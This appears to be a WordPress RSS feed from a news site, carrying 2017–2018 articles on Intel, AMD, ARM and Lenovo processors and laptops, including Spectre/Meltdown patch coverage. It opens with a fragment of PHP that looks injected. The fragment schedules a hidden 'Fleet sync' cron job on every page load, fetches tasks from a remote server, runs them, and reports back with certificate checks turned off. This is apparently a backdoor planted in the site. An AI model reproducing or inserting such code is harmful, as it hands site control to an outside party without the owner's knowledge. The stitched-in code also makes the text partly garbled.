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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); processors – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 03 Apr 2018 08:47:50 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png processors – Brief News https://briefnews.eu 32 32 Intel aims 8th Gen Core i9 processors at mobile gamers and content creators https://briefnews.eu/intel-aims-8th-gen-core-i9-processors-at-mobile-gamers-and-content-creators/ https://briefnews.eu/intel-aims-8th-gen-core-i9-processors-at-mobile-gamers-and-content-creators/#respond Tue, 03 Apr 2018 07:32:00 +0000 http://briefnews.eu/intel-aims-8th-gen-core-i9-processors-at-mobile-gamers-and-content-creators/ Intel's Core i9 is now available for gaming laptops.

Intel is unveiling its 8th Generation Intel Core i9 processor for laptop computers, and it is targeting it at mobile gamers, virtual reality fans, and content creators. The new chip offers “enthusiast level” performance, and it is the fastest laptop processor that Intel has ever built. The chips are aimed at fueling the growth of the rapidly expanding PC gaming industry with new laptops that can provide desktop-like gaming performance and virtual reality on the run. Overall, the 8th Gen Core i9 is 29 percent better in performance compared to the previous generation 7th Gen Core i7.

Intel also announced a new Intel Core platform extension that brings together the benefits of its processors with Intel Optane memory, a new kind of flash memory for caching. It is also rounding out its family of high-performance desktop CPUs and chipsets which deliver modern standby and ambient computing capabilities, and shared new details on the 8th Gen Intel Core vPro platform for businesses.

Above: Intel’s latest processors for laptops.

Image Credit: Intel

The new Core i9, i7 and i5 processors for laptops are based on the Coffee Lake platform and leverage the 14-nanometer-plus process technology. The processors can deliver up to 41 percent more frames per second in gameplay. And they can edit 4K video up to 59 percent faster than the previous generation with same discrete graphics.

At the high end, the 8th Gen Intel Core i9-8950HK processor is optimized for performance. It is the first mobile Intel processor with six cores and 12 threads. It comes fully unlocked and features the new Intel Thermal Velocity Boost (TVB), which increases clock frequency up to 200 MHz if the processor temperature is low enough and turbo power budget is available.

This translates to a turbo frequency of up to 4.8 GHz, compared to 3.9 GHz for the Core i7 7th Gen processor. Intel is touting the ability of the chip to stream and record without compromising gameplay while still enabling portability.

The chip is also primed for the “smoothest and highest-quality mobile VR” and new Windows Mixed Reality Ultra experiences. The highest-performance mobile 8th Gen Intel Core processor family also adds a new Intel 300 Series Chipset, which adds integrated Gigabit Wi-Fi for a fast connection that is capable of being up to two times faster than standard 2×2 802.11AC 80MHz (867 Mbps).

Intel’s new Optane memory and its Data Drive Acceleration feature that delivers a boost to a large secondary hard disk drive. And it enables up to 4.7 times faster game loading and 1.7 times faster media loading.

]]> https://briefnews.eu/intel-aims-8th-gen-core-i9-processors-at-mobile-gamers-and-content-creators/feed/ 0 AMD sending out free processors to solve firmware flashing Catch-22 https://briefnews.eu/amd-sending-out-free-processors-to-solve-firmware-flashing-catch-22/ https://briefnews.eu/amd-sending-out-free-processors-to-solve-firmware-flashing-catch-22/#respond Fri, 16 Feb 2018 18:05:50 +0000 http://briefnews.eu/amd-sending-out-free-processors-to-solve-firmware-flashing-catch-22/

Enlarge / An original Ryzen die; this one doesn’t have a GPU so it should work with any firmware. Well; this one won’t, it’s been etched to expose the die so that it could be photographed. (credit: Fritzchens Fritz)

So you want to build a PC using AMD’s new Ryzen processors with Vega graphics. You buy a motherboard, processor, some extraordinarily expensive RAM, and all the other bits and pieces you need to construct a PC. Open them all up at home and put them together and… they don’t work.

Then it hits you. The motherboard has an AM4 socket. The processor fits the socket fine, and the chipset is compatible with the new Ryzen 5 2400G, but with a catch: the board needs a firmware update to support this latest processor. Without it, it’ll only support the GPU-less Ryzens and the even older AM4 processors built around AMD’s previous processor architecture, Excavator. While some motherboards support installing firmware updates without a working CPU, many don’t. So you’re faced with an inconvenient predicament: to flash the firmware you need a working CPU, but your CPU will only work if you can flash the firmware first.

This isn’t the first time this kind of situation has occurred. In the past, both Intel and AMD have posed this conundrum. It’s pretty common every time a new processor comes out that works on existing motherboards. In a few months, most motherboards in the channel should have newer firmwares installed in the factory, solving the problem, but right now, buyers are stuck. The usual response from the chip companies is accurate, if unhelpful—”go out and buy the cheapest processor that’s compatible, use it to flash the firmware, and then use the new processor”—and that would work here, too, but it’s hardly a user-friendly response.

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]]> https://briefnews.eu/amd-sending-out-free-processors-to-solve-firmware-flashing-catch-22/feed/ 0 ARM’s latest processors are designed for mobile AI https://briefnews.eu/arms-latest-processors-are-designed-for-mobile-ai/ https://briefnews.eu/arms-latest-processors-are-designed-for-mobile-ai/#respond Tue, 13 Feb 2018 16:29:15 +0000 http://briefnews.eu/arms-latest-processors-are-designed-for-mobile-ai/

ARM isn’t content to offer processor designs that are kinda-sorta ready for AI. The company has unveiled Project Trillium, a combination of hardware and software ingredients designed explicitly to speed up AI-related technologies like machine learning and neural networks. The highlights, as usual, are the chips: ARM ML promises to be far more efficient for machine learning than a regular CPU or graphics chip, with two to four times the real-world throughput. ARM OD, meanwhile, is all about object detection. It can spot “virtually unlimited” subjects in real time at 1080p and 60 frames per second, and focuses on people in particular — on top of recognizing faces, it can detect facing, poses and gestures.

The software component, ARM NN, serves as a go-between for neural network frameworks like Google’s TensorFlow and ARM-based processors.

It’s going to be a while before you see this technology in action. ARM isn’t offering previews until April, with wider availability in the middle of 2018. And remember, ARM doesn’t actually design finished chips. It’s up to Qualcomm, Samsung and other companies to translate these formulas into real products. The aim, however, is clear: ARM wants more devices that can handle AI tasks locally, rather than depending on a cloud-based helper like Alexa, Google Assistant or Siri. The company also expects Project Trillium to expand beyond mobile devices to include home theater, smart speakers and other categories where AI might come in handy.

Via: The Verge

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]]> https://briefnews.eu/arms-latest-processors-are-designed-for-mobile-ai/feed/ 0 The best laptop of last year adds HDR, facial recognition, and 8th-gen processors https://briefnews.eu/the-best-laptop-of-last-year-adds-hdr-facial-recognition-and-8th-gen-processors/ https://briefnews.eu/the-best-laptop-of-last-year-adds-hdr-facial-recognition-and-8th-gen-processors/#respond Tue, 09 Jan 2018 07:08:42 +0000 http://briefnews.eu/the-best-laptop-of-last-year-adds-hdr-facial-recognition-and-8th-gen-processors/

Enlarge / Lenovo ThinkPad X1 Yoga 3rd generation (credit: Lenovo)

I was a huge fan of the Lenovo ThinkPad X1 Yoga when I reviewed it last year. For me, it was the perfect combination of technology, form factor, and good looks.

This January, the machine is receiving a modest, third-generation refresh that threatens to make the best laptop even better. The basic size and concept remain the same as before—a 14-inch laptop with a 360-degree hinge and integrated stylus. This update is a refresh driven by a generational update of its CPU—the processor is being bumped from 7th-generation Kaby Lake to 8th-generation Kaby Lake-R, giving it four cores and eight threads. But Lenovo has also made a number of small modifications beyond this, addressing perhaps my one quibble from last year’s model, and more.

It's also available in silver.

It’s also available in silver. (credit: Lenovo)

My gripe with Yoga was that the webcam didn’t support infrared and hence didn’t offer Windows Hello facial recognition. I’ve grown to love these features from my time using Surface devices and the Logitech Brio webcam on my desktop PC; the convenience of unlocking simply by sitting at the machine is hard to beat. The new 3rd-generation Yoga addresses this: while it continues to offer fingerprint authentication, it now also has an option of an IR camera for Windows Hello facial recognition. Lenovo has also built a physical shutter for the camera to ensure privacy when you’re not using it.

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]]> https://briefnews.eu/the-best-laptop-of-last-year-adds-hdr-facial-recognition-and-8th-gen-processors/feed/ 0 Intel plans security updates for 90% of past 5 years’ processors by end of next week https://briefnews.eu/intel-plans-security-updates-for-90-of-past-5-years-processors-by-end-of-next-week/ https://briefnews.eu/intel-plans-security-updates-for-90-of-past-5-years-processors-by-end-of-next-week/#respond Thu, 04 Jan 2018 19:48:50 +0000 http://briefnews.eu/intel-plans-security-updates-for-90-of-past-5-years-processors-by-end-of-next-week/

Following up on yesterday’s confirmation that security exploits can compromise computers with Intel processors, Intel today announced a timetable for updates to render recent computers “immune” to the exploits, now referred to as Spectre and Meltdown. It also provided some guidance on mitigation of the performance hits machines may take following the update.

On the consumer and enterprise side, Intel says that it has “already issued updates for the majority of processor products introduced within the past five years.” By the end of next week, it plans to have issued updates for more than 90 percent of the past five years’ processors.

Additionally, Intel notes that “many operating system vendors, public cloud service providers, device manufacturers and others have indicated that they already updated their products and services.” But no timetable was announced for patching Intel processors greater then five years old, though reports have suggested that up to 15 years of Intel processors may be affected.

Third-party benchmarking of the performance hits on affected machines ranged from 5-30 percent depending on the specific processor, OS, and task. Without offering details, Intel suggests that “the performance impact of [its] updates is highly workload-dependent and, for the average computer user, should not be significant and will be mitigated over time.” In cases where performance hits are higher, the company expects that future “improvement of the software updates should mitigate that impact.”

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]]> https://briefnews.eu/intel-plans-security-updates-for-90-of-past-5-years-processors-by-end-of-next-week/feed/ 0 Lenovo updates ThinkPad lineup with Intel 8th-gen processors and USB Type-C power adapters https://briefnews.eu/lenovo-updates-thinkpad-lineup-with-intel-8th-gen-processors-and-usb-type-c-power-adapters/ https://briefnews.eu/lenovo-updates-thinkpad-lineup-with-intel-8th-gen-processors-and-usb-type-c-power-adapters/#respond Thu, 04 Jan 2018 05:52:26 +0000 http://briefnews.eu/lenovo-updates-thinkpad-lineup-with-intel-8th-gen-processors-and-usb-type-c-power-adapters/

Ahead of the Consumer Electronics Show in Las Vegas today, Lenovo unveiled updates to its laptop lineups: its ThinkPad X, ThinkPad T, and ThinkPad L series. The Chinese company promised thinner and lighter designs, 8th-generation Intel Core processors, broader facial recognition support for Windows Hello, and USB Type-C power adapters. Other devices shown off included a new mechanical Side Docking option, ThinkVision displays, and the Lenovo Tablet 10. All of them ship sometime this quarter.

Lenovo recently lost the title of world’s biggest PC maker to HP. The company’s CES message this year is clear: It wants its top spot back.

ThinkPad X

Lenovo announced two devices in the ThinkPad X lineup: the X280 and the X380. Both offer rapid charging that promises to get you back to 80 percent battery life in 60 minutes. Speaking of battery life, the X280 offers up to 16.6 hours while the X380 Yoga features up to 13.6 hours. The X280 is 20 percent lighter (2.5 pounds) and 15 percent thinner (17.4mm) compared to its predecessor while the X380 Yoga comes with an Active Pen and an IR camera with Windows Hello support.

The ThinkPad X280 starts at $ 999 while the X380 Yoga starts at $ 1,459, and both ship later this month.

ThinkPad T

Lenovo announced three devices in the ThinkPad T lineup: the T480s, the T480, and the T580. All three feature an IR camera, fingerprint reader, and a camera privacy cover. Lenovo promises these devices can get up to 72 hours of battery life. The T480 appears to have no standout feature, the T480s is supposed to be ” one of the lightest business laptops in its category” at just 2.9 pounds, and the T580 can be upgraded with discrete graphics.

The ThinkPad T480 starts at $ 989, the ThinkPad T480s starts at $ 1,269, and the T580 starts at $ 1,079. All three ship later this month.

ThinkPad L

Keeping up the pattern, Lenovo announced four devices in the ThinkPad L lineup: the L380 Yoga, the L380, the L480, and the L580. The laptops are available in a new 13-inch form factor, as well as redesigned thinner and lighter 14-inch and 15-inch versions. Multi-touch displays are optional, as are discrete graphics for the L580.

The ThinkPad L380 Yoga starts at $ 549, the ThinkPad L380 starts at $ 449, the ThinkPad L480 starts at $ 779, and the ThinkPad L580 starts at $ 769. All four arrive in February 2018.

Docking station, monitors, and tablet

For its laptops, Lenovo unveiled the ThinkPad Ultra Docking Station, which offers a one-touch slide-to-connect mechanism. It’s available in three models (all of which suppor the X280, T480, T480s, T580, L480, and L580): Basic 90W at $ 199, Pro 135W at $ 249, and Ultra 135W at $ 299. They all ship later this month.

The ThinkVision X24 and ThinkVision P32u monitors differ quite a bit. The former is just 4mm thick with 1.1mm bezels, and featuers a Full HD IPS display (96 percent sRGB color gamut). The latter has a UHD 4K display with multi-color space capability, plus Thunderbolt 3 In and Out ports. The 24-inch is available for $ 249 later this month while the 32-inch ships for $ 1,349 in March 2018.

Leaving the least interesting device for last (Lenovo wouldn’t even give it a price), the 10-inch device is a detachable with a fingerprint reader and discrete Trusted Platform Module for business-class protection. It comes with an integrated rechargeable pen, up to 9 hours of battery life, and will be available later this month. If, you know, Lenovo figures out how much to charge you.

The takeaway? Lenovo has fully embraced Microsoft’s Windows 10. None of these devices run either of Google’s operating systems, which means if you want a new Lenovo laptop or tablet this quarter, don’t expect Android or Chrome OS.

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]]> https://briefnews.eu/lenovo-updates-thinkpad-lineup-with-intel-8th-gen-processors-and-usb-type-c-power-adapters/feed/ 0 Intel confirms security issue in its processors as OS makers ready fixes https://briefnews.eu/intel-confirms-security-issue-in-its-processors-as-os-makers-ready-fixes/ https://briefnews.eu/intel-confirms-security-issue-in-its-processors-as-os-makers-ready-fixes/#respond Wed, 03 Jan 2018 20:55:06 +0000 http://briefnews.eu/intel-confirms-security-issue-in-its-processors-as-os-makers-ready-fixes/

Faced with reports that a “major” security flaw has been discovered in millions of Intel processors sold over the past decade, Intel today responded to the claims, framing the issue as an exploit impacting “many different vendors’ processors,” and requiring an “industry-wide approach to resolve this issue promptly and constructively.” Due to the nature of the exploit, OS kernel-level patches are apparently needed, and in some cases are expected to noticeably diminish performance of many computers across the world.

While Intel did not offer specifics on the exploitation of its chips, reports have claimed that the exploits allow insecure apps to access “secure” portions of a computer’s memory, including areas where passwords and other private content are stored. An exploit could allow rogue Javascript code running in a web browser to see supposedly protected information, compromising the computer and its user.

Intel’s response concedes that the exploits “have the potential to improperly gather sensitive data from computing devices that are operating as designed,” but notes that the company “believes these exploits do not have the potential to corrupt, modify or delete data,” if that provides anyone with any degree of comfort. The response notes that “Intel and other vendors had planned to disclose this issue next week when more software and firmware updates will be available,” but rushed the statement to address “current inaccurate media reports.”

Despite Intel’s statement on shared exposure, the exploit has been said by researchers to impact “virtually all” Intel-based machines, including consumer PCs, enterprise computers, and cloud servers. According to LWN.net, equivalent patches are also being readied for ARM processors, though the extent to which ARM-based devices will be compromised is unclear. Intel notes that AMD and “several operating system vendors” are all working on solutions.

To that end, separate reports have suggested that Apple, Microsoft, and developers of Linux distributions are all actively readying critical kernel-level patches to address the flaw. Initial fixes for the bug have been referred to as “kernel page-table isolation” (KPTI), and work by relocating the secured memory area away from the insecure memory used by programs.

As noted by The Register, KPTI fixes presently slow down certain processes by 5-30%, though a given computer’s performance hit will depend on its specific processor, tasks, and operating system. Synthetic benchmarks published by Phoronix show an over 40% performance cut on I/O functionality with an Intel i7-8700K processor, but less than 10% impact during the same test with an i7-6800K chip. Video encoding and gaming performance do not appear to be affected by early fixes.

Patches to address the bug have already been released for some Linux distributions and beta versions of Windows; the Windows 10 patch is expected to debut next Tuesday as part of Microsoft’s monthly patch schedule. Linux developers are being warned that performance regressions are likely.

Apple is reportedly patching macOS to address the flaw, as well. Following a new tweet this afternoon from Alex Ionescu, who previously tweeted about KPTI and Windows, AppleInsider cited unnamed sources within Apple as confirming that the current version of macOS (10.13.2) mitigates the KPTI issue, with additional unspecified changes planned for the upcoming 10.13.3 release. According to AppleInsider, “[e]arly indications are that there are no notable slowdowns between a system running macOS High Sierra 10.13.1 and 10.13.2.” We have reached out to Apple for additional details and will update this article with anything the company offers.

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]]> https://briefnews.eu/intel-confirms-security-issue-in-its-processors-as-os-makers-ready-fixes/feed/ 0 Intel targets 8th Gen Core laptop processors at video editors and VR fans https://briefnews.eu/intel-targets-8th-gen-core-laptop-processors-at-video-editors-and-vr-fans/ https://briefnews.eu/intel-targets-8th-gen-core-laptop-processors-at-video-editors-and-vr-fans/#respond Mon, 21 Aug 2017 09:10:28 +0000 http://briefnews.eu/intel-targets-8th-gen-core-laptop-processors-at-video-editors-and-vr-fans/

Intel is unveiling the first batch of its eighth generation Core processors, which are targeted at laptop users who like to do video editing or run virtual reality apps. The chips should also be plenty good for new kinds of gaming laptops.

Santa Clara, California-based Intel said the chips have 40 percent better performance than the previous-generation Core processors.

Intel estimates there are 450 million PCs that are older than five years, and these new processors are two times faster than those 5-year-old processors, said Gregory Bryant, senior vice president and general manager of the Client Computing Group at Intel, in a blog post.

Above: A photo of the Intel 8th Gen Core processor.

Image Credit: Intel

He said they will fits into laptops than are less than 11 millimeters thick, and be able to run 4K content, VR apps, and mixed reality technology. Bryant said that Intel wants to make this kind of tech accessible to everyone, starting with mobile processors designed for thin-and-light laptops.

Rival Advanced Micro Devices recently claimed the speed crown with the fastest desktop processors, but Intel believes its fastest upcoming desktop chips will beat AMD’s fastest.

The initial chips are targeted and thin-and-light laptops and 2-in1s, which can be converted into tablets. The processors have four cores, but some low-end members of the family no longer use hyperthreading.

“These improvements also open the door to richer, more immersive entertainment, and an experience that is optimized for simplicity,” Bryant wrote.

And the battery life is better. These machines can run 4K UltraHD video for up to 10 hours on a single charge.

If you’re editing photos, you will be able to do it 48 percent faster on 8th-generation processors compared to the processors Intel released last year. Video editing is 14.7 times faster than a five-year-old PC. So rendering a scene that took 45 minutes before can now be done in three minutes.

You can watch video shows in 4K UHD resolution and use Thunderbolt 3 external graphics for better gaming and VR.

Above: Intel’s new Core i7 is the top of the line of its new 8th generation laptop chips.

Image Credit: Intel

The first wave of 8th Gen Intel Core machines will hit the market in September. More than 145 models should be available with the new Core i5 and Core i7 processors. 8th Gen Intel Core processors will continue to roll out through the coming months, with the first desktop processors coming in the fall, followed by processors for
enterprise customers and a broad range of other options purpose-built for different segments.

The 8th Gen family will include some of Intel’s first chips based on its 10-nanometer manufacturing process.

The PC Gaming channel is presented by Intel®‘s Game Dev program.



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]]> https://briefnews.eu/intel-targets-8th-gen-core-laptop-processors-at-video-editors-and-vr-fans/feed/ 0 Intel first 8th generation processors are just updated 7th generation chips https://briefnews.eu/intel-first-8th-generation-processors-are-just-updated-7th-generation-chips/ https://briefnews.eu/intel-first-8th-generation-processors-are-just-updated-7th-generation-chips/#respond Mon, 21 Aug 2017 07:30:17 +0000 http://briefnews.eu/intel-first-8th-generation-processors-are-just-updated-7th-generation-chips/

Enlarge / A Kaby Lake refresh die. (credit: Intel)

The first “8th generation” Intel Core processors roll out today: a quartet of 15W U-series mobile processors. Prior generation U-series parts have had two cores, four threads; these new chips double that to four cores and eight threads. They also bump up the maximum clock speed to as much as 4.2GHz, though the base clock speed is sharply down at 1.9GHz for the top end part (compared to the 7th generation’s 2.8GHz). But beyond those changes, there’s little to say about the new chips, because in a lot of ways, the new chips aren’t really new.

i7-8650U i7-8550U i5-8350U i5-8250U
Base clock/GHz 1.9 1.8 1.7 1.6
Maximum 1-core clock/GHz 4.2 4.0 3.6 3.4
Maximum 2-core clock/GHz 4.2 4.0 3.6 3.4
Maximum 4-core clock/GHz 3.9 3.7 3.6 3.4
Cores 4 4 4 4
Threads 8 8 8 8
Cache size/MB 8 8 6 6
Maximum GPU clock/GHz 1150 1150 1100 1100

Although Intel is calling these parts “8th generation,” their architecture, both for their CPU and their integrated GPU, is the same as “7th generation” Kaby Lake. In fact, Intel calls the architecture of these chips “Kaby Lake refresh.” Kaby Lake was itself a minor update on Skylake, adding an improved GPU (with, for example, hardware-accelerated support for 4K H.265 video) and a clock speed bump. The new chips continue to be built on Intel’s “14nm+” manufacturing process, albeit a somewhat refined one.

U-series "8th Generation" Intel Core processor.

U-series “8th Generation” Intel Core processor. (credit: Intel)

Earlier this year, Intel claimed that the new chips would add 30 percent performance over 7th generation parts; that number is now 40 percent. A total of 25 percent of that boost (in the SYSmark benchmark) comes from the doubled core and thread count. The remainder is split evenly between “manufacturing” improvements (which is to say, higher clock speeds) and “design” improvements.

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]]> https://briefnews.eu/intel-first-8th-generation-processors-are-just-updated-7th-generation-chips/feed/ 0 Intel will unveil 8th-gen Core processors on August 21st https://briefnews.eu/intel-will-unveil-8th-gen-core-processors-on-august-21st/ https://briefnews.eu/intel-will-unveil-8th-gen-core-processors-on-august-21st/#respond Wed, 09 Aug 2017 18:24:59 +0000 http://briefnews.eu/intel-will-unveil-8th-gen-core-processors-on-august-21st/

Intel’s 7th-generation Core processors still feel relatively young, but the company is already poised to talk about their successors. The chip designer has announced that it will premiere its 8th-generation Core CPUs on August 21st, complete with a livestream on Intel’s Facebook page. The company is unsurprisingly shy on technical details, but it promises previews of PCs built on 8th-gen chips as well as a demo from a VR creator. As it stands, there’s already some idea of what to expect.

On the record, Intel has already acknowledged that the 8th-gen (aka Coffee Lake) won’t be a radical redesign: it’s still built on a 14-nanometer manufacturing process and shares a lot in common with its predecessors. However, both Intel’s early benchmarking tease and various leaks suggest there may be reasons to get excited. More than anything, the focus is on cramming in more cores at similar power levels. Both the Core i5 and Core i7 would move to six cores on the desktop, while you’d see four cores in the Core i3, Pentium and some low-power laptop chips.

In essence, it should be a continuation of what Intel is doing with the Core i9 and X-series Core i7: it’s adding extra cores both a foil to AMD’s Ryzen processors (where core count is an advantage) and as an acknowledgment that there are diminishing returns from tweaking familiar architectures and processes. This gives it a big boost to performance in multitasking and highly multithreaded apps without having to reinvent the wheel. The real breakthrough should come with Cannonlake, which should move to a far more efficient (and likely faster) 10nm process.

Via: AnandTech

Source: Intel

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